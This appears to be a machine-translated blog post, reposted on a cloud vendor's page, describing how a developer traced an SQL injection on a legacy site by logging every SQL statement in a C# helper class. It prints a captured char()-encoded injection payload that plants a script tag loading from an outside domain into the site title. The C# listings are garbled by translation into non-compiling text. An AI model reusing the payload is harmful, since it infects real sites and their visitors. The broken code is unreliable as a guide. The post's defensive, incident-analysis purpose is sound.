Record a successful SQL injection intrusion detection with SQL performance optimization

Source: Internet
Author: User
Many of you have encountered SQL injection, most of which are caused by less rigorous Code. they have made many mistakes before learning to be serious.

Many of you have encountered SQL injection, most of which are caused by less rigorous Code. they have made many mistakes before learning to be serious.

However, it would be very painful for you to take over a second-class disability website and ask you to make a revision on the website. you cannot overturn the revision and can only gradually replace the old program, for example, the problem I encountered:
Question 1.
The boss told you that the website had been completed before, and there was no Trojan horse. Why did you come, there would be a Trojan horse. let alone it first, and solve the problem quickly. I am completely speechless, however, if you quarrel, it turns out that you are just as ignorant as the boss. together with evidence and fact analysis, the rest of the company will be able to prove that the company's website is not your fault.
If I have carefully checked the website directory, I will delete the network horse uploaded by fck, fixed the fck Upload vulnerability, and noted down this Fckeditor usage note. In fact, many people have encountered and solved this problem, it is a small problem, but it makes your boss understand that it is more painful to solve the vulnerability problem. what I want to explain is a sweat, I hate to call all the technical skills of the company to show them what a horse is and what a pony is, and then demonstrate how to upload a Trojan, Grandma's, and the popularity of the tutorials.
Question 2.
The website encountered another problem. The last problem was solved for only two months, and the website was hacked and infected. if the boss had to say this time that I had a problem, he would leave immediately, that's why people who do not know more about technology can't talk to each other, or even talk to your boss about it.
But what's terrible is that the website is a second-class disability of previous technology development. it was modified on another cms. I must ensure that the old modules can be used while the website is being developed, the bottom layer of the website is updated gradually. However, when there are so many pages, it is difficult for you to detect vulnerabilities on that page one by one. if you write the following detection code, I did not expect this to be done simply, and you can use this method to optimize your SQL.
Step 1 create an SQL log table
The code is as follows:
Create table [dbo]. [my_sqllog] (
[Id] [bigint] IDENTITY (1, 1) not null,
[Hit] [bigint] NULL,
[Sqltext] [varchar] (max) COLLATE Chinese_PRC_CI_AS NULL,
[Paramdetails] [varchar] (max) COLLATE Chinese_PRC_CI_AS NULL,
[Begintime] [datetime] NULL,
[Endtime] [datetime] NULL,
[Fromurl] [varchar] (max) COLLATE Chinese_PRC_CI_AS NULL,
[Ip] [varchar] (20) COLLATE Chinese_PRC_CI_AS NULL,
[Lastelapsedtime] [bigint] NULL,
CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED
(
[Id] ASC
) WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

Records the SQL statement, the number of times the SQL statement is executed, the parameters and values, the record start time, end time, from which page, ip address, and the statement execution time (currently useless)
Step 2 write the record Code in sqlhelper
The two methods can be written as private, but the sqlhelper class used by the second-class website in other places will directly call the method of the sqlhelper class through reasonable optimization.
Code 1: insert logs
The code is as follows:
Public static int ExecuteSqlLog (CommandType commandType, string commandText, params DbParameter [] Partition params)
{
# Region parameter processing
String colums = "";
String dbtypes = "";
String values = "";
String paramdetails = "";
If (partition params! = Null & callback params. Length> 0)
{
Foreach (DbParameter param in each params)
{
If (param = null)
{
Continue;
}
Colums + = param. ParameterName + "";
Dbtypes + = param. DbType + "";
Values + = param. Value + ";";
}
Paramdetails = string. Format ("{0}, {1}, {2}", colums, dbtypes, values );
}
String fromurl = "";
If (System. Web. HttpContext. Current! = Null)
{
Fromurl = System. Web. HttpContext. Current. Request. Url. ToString ();
}
// CommandText = commandText. Replace ("'", "'"). Replace (";",";");
SqlParameter [] parameters = new SqlParameter []
{
New SqlParameter ("@ hit", 1 ),
New SqlParameter ("@ sqltext", commandText ),
New SqlParameter ("@ paramdetails", paramdetails ),
New SqlParameter ("@ begintime", DateTime. Now ),
New SqlParameter ("@ endtime", DateTime. Now ),
New SqlParameter ("@ fromurl", fromurl ),
New SqlParameter ("@ ip", Web. PressRequest. GetIP ()),
New SqlParameter ("@ lastelapsedtime", 0 ),
};
# Endregion
Using (DbConnection connection = Factory. CreateConnection ())
{
Connection. ConnectionString = GetRealConnectionString (commandText); // ConnectionString;
String SQL = "";
// Execute the DbCommand command and return the result.
Int id =
Utils. TypeConverter. ObjectToInt (ExecuteScalarLog (CommandType. Text,
"Select top 1 id from my_sqllog where sqltext = @ sqltext ",
New SqlParameter ("@ sqltext", commandText )));
If (id> 0)
{
SQL = "update my_sqllog set hit = hit + 1, ip = @ ip, endtime = @ endtime, fromurl = @ fromurl where id =" + id;
}
Else
{
SQL = "insert into my_sqllog (hit, sqltext, paramdetails, begintime, endtime, fromurl, ip, lastelapsedtime) values (@ hit, @ sqltext, @ paramdetails, @ begintime, @ endtime, @ fromurl, @ ip, @ lastelapsedtime )";
}
// Create the DbCommand command and perform preprocessing
DbCommand cmd = Factory. CreateCommand ();
Bool mustCloseConnection = false;
PrepareCommand (cmd, connection, (DbTransaction) null, commandType, SQL, parameters, out mustCloseConnection );
// Execute the DbCommand command and return the result.
Int retval = cmd. ExecuteNonQuery ();
// Clear the parameters for reuse.
Cmd. Parameters. Clear ();
If (mustCloseConnection)
Connection. Close ();
Return retval;
}
}

Code 2: Determine whether the SQL statement exists
The code is as follows:
Private static object ExecuteScalarLog (CommandType commandType, string commandText, params DbParameter [] commandParameters)
{
If (ConnectionString = null | ConnectionString. Length = 0) throw new ArgumentNullException ("ConnectionString ");
// Create and open the database connection object, and release the object after the operation is completed.
Using (DbConnection connection = Factory. CreateConnection ())
{
If (connection = null) throw new ArgumentNullException ("connection ");
// Connection. Close ();
Connection. ConnectionString = GetRealConnectionString (commandText );
Connection. Open ();
// Create the DbCommand command and perform preprocessing
DbCommand cmd = Factory. CreateCommand ();
Bool mustCloseConnection = false;
PrepareCommand (cmd, connection, (DbTransaction) null, commandType, commandText, commandParameters, out mustCloseConnection );
// Execute the DbCommand command and return the result.
Object retval = cmd. ExecuteScalar ();
// Clear the parameters for reuse.
Cmd. Parameters. Clear ();
If (mustCloseConnection)
Connection. Close ();
Return retval;
}
}

Part 3 Add the following code to each of your SQL statement execution methods, including ExecuteScalar, ExecuteReader, and ExecuteNonQuery.
The code is as follows:
// Log record operation before SQL execution
Int log = ExecuteSqlLog (CommandType. Text, commandText, commandParameters );

Sample code:
The code is as follows:
Public static object ExecuteScalar (DbConnection connection, CommandType commandType, string commandText, params DbParameter [] commandParameters)
{
If (connection = null) throw new ArgumentNullException ("connection ");
// Connection. Close ();
Connection. ConnectionString = GetRealConnectionString (commandText );
Connection. Open ();
// Create the DbCommand command and perform preprocessing
DbCommand cmd = Factory. CreateCommand ();
Bool mustCloseConnection = false;
PrepareCommand (cmd, connection, (DbTransaction) null, commandType, commandText, commandParameters, out mustCloseConnection );
// Log record operation before SQL execution
Int log = ExecuteSqlLog (CommandType. Text, commandText, commandParameters );
// Execute the DbCommand command and return the result.
Object retval = cmd. ExecuteScalar ();
// Clear the parameters for reuse.
Cmd. Parameters. Clear ();
If (mustCloseConnection)
Connection. Close ();
Return retval;
}

Then you will find that the entry to the intrusion is recorded, and the SQL statements injected are constructed in the following box.

The SQL statement is constructed as follows:

39191 + update + my_websetting + set + websitetitle = REPLACE (cast (websitetitle + as + varchar (8000), cast (char (60) + char (47) + char (116) + char (105) + char (116) + char (108) + char (101) + char (62) + char (60) + char (115) + char (99) + char (114) + char (105) + char (112) + char (116) + char (32) + char (115) + char (114) + char (99) + char (61) + char (104) + char (116) + char (116) + char (112) + char (58) + char (47) + char (47) + char (100) + char (102) + char (114) + char (103) + char (99) + char (99) + char (46) + char (99) + char (111) + char (109) + char (47) + char (117) + char (114) + char (46) + char (112) + char (104) + char (112) + char (62) + char (60) + char (47) + char (115) + char (99) + char (114) + char (105) + char (112) + char (116) + char (62) + as + varchar (8000), cast (char (32) + as + varchar (8 )))--
After transcoding, it becomes like this:

Update my_websetting set websitetitle = REPLACE (cast (websitetitle as varchar (8000), websitetitle +'

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.